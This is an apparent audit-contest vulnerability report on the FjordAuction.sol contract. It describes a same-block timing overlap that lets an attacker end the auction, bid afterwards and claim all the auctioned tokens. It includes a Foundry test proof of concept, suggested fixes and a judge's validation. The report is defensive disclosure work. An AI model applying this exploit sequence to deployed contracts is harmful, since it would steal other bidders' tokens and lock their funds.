Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Auctioned tokens in FjordAuction.sol can be stolen with post-auction bidding

philbugcatcher

Summary

A vulnerability has been identified in the FjordAuction.sol contract, allowing a user to place a bid after the auction has ended. This exploit enables a malicious bidder to claim 100% of the auctioned prize, effectively locking all other participants’ FJO tokens within the contract and preventing them from claiming their rightful tokens.

Vulnerability Details

The vulnerability arises due to a timing overlap between the bidding and auction ending phases. The FjordAuction::bid function reverts if timestamp > auctionEndTime, while the FjordAuction::auctionEnd function reverts if timestamp < auctionEndTime. As a result, both functions can be called when timestamp == auctionEndTime.

This timing discrepancy allows an attacker to:

  1. Call auctionEnd() to finalize the auction.

  2. Immediately call bid(totalAmount) to place a bid equivalent to the total amount of all bids in the auction.

  3. Call claimTokens() to withdraw 100% of the auctioned tokens.

Since the contract will have no auction tokens remaining, legitimate bidders will be unable to claim their tokens. Additionally, these users cannot retrieve their FJO tokens, as they are burned when FjordAuction::auctionEnd() is invoked.

Impact

This vulnerability can result in the total loss of auction tokens for all participants except the attacker. It also locks the participants’ FJO in the contract, making the FjordAuction.sol contract useless.

The impact can be verified with the proof of concept below, which can be added to the auctions test suite:

function testClaimStolenTokens() public {
uint256 bidAmount = 100 ether;
​
address bidder = address(0x2);
deal(address(fjordPoints), bidder, bidAmount);
address thief = address(0x3);
deal(address(fjordPoints), thief, bidAmount);
​
vm.startPrank(bidder);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
​
skip(biddingTime);
auction.auctionEnd();
​
vm.startPrank(thief);
fjordPoints.approve(address(auction), bidAmount);
// even though the auction has ended, anyone can still bid
// if thief bids the total amount that was bid in the auction, they will get 100% of the prize
auction.bid(bidAmount);
auction.claimTokens();
vm.stopPrank();
​
// other bidders attempts to claim tokens will revert because all the prize has been withdrawn
vm.expectRevert();
vm.prank(bidder);
auction.claimTokens();
​
uint256 expectedTokens = (bidAmount).mul(auction.multiplier()).div(1e18);
// expectedTokens will go to thief instead of bidder
assertEq(auctionToken.balanceOf(thief), expectedTokens);
}

Tools Used

Manual code review.

Recommendations

There are different alternatives to fixing this issue, each with nuances that the development team can consider:

  1. Remove the timing overlap: Adjust the logic either in the bid() or auctionEnd() function to ensure that both cannot be called when timestamp == auctionEndTime. This adjustment means that no bids can be placed on the block where the auction ends

function bid(uint256 amount) external {
+ if (block.timestamp >= auctionEndTime) {
- if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}

  1. Implement an ended safeguard: Introduce a check in the bid() function to ensure it cannot be called after the auction has ended, regardless of the timestamp. This approach allows users to place bids until the last block of the auction, but only transactions processed before the transaction that calls auctionEnd() will be accepted.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
+ if (ended) {
+ revert AuctionAlreadyEnded();
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.